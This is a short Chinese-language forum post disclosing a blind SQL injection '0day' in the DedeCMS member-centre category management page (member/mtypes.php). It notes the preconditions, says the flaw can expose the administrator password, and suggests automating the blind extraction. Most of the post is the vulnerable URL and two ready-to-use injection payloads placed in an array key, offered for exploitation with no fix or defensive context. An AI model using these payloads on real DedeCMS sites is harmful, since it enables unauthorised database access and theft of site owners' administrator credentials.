DedeCMS会员中心分类管理SQL注射0day漏洞
2206 点击·0 回帖
灯火互联
楼主
 |  | |
 | 可获得管理员密码 需要magic_quotes_gpc = Off,所以说是鸡肋啊. 发生在数组key里的注射漏洞,有点意思. 这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下 http://www.atcpu.com /de/member/mtypes.php?dopost=save exploit: mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and'3'%3D'3]=c4rp3nt3r mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and'3'%3D'3]=c4rp3nt3r | |
 |  |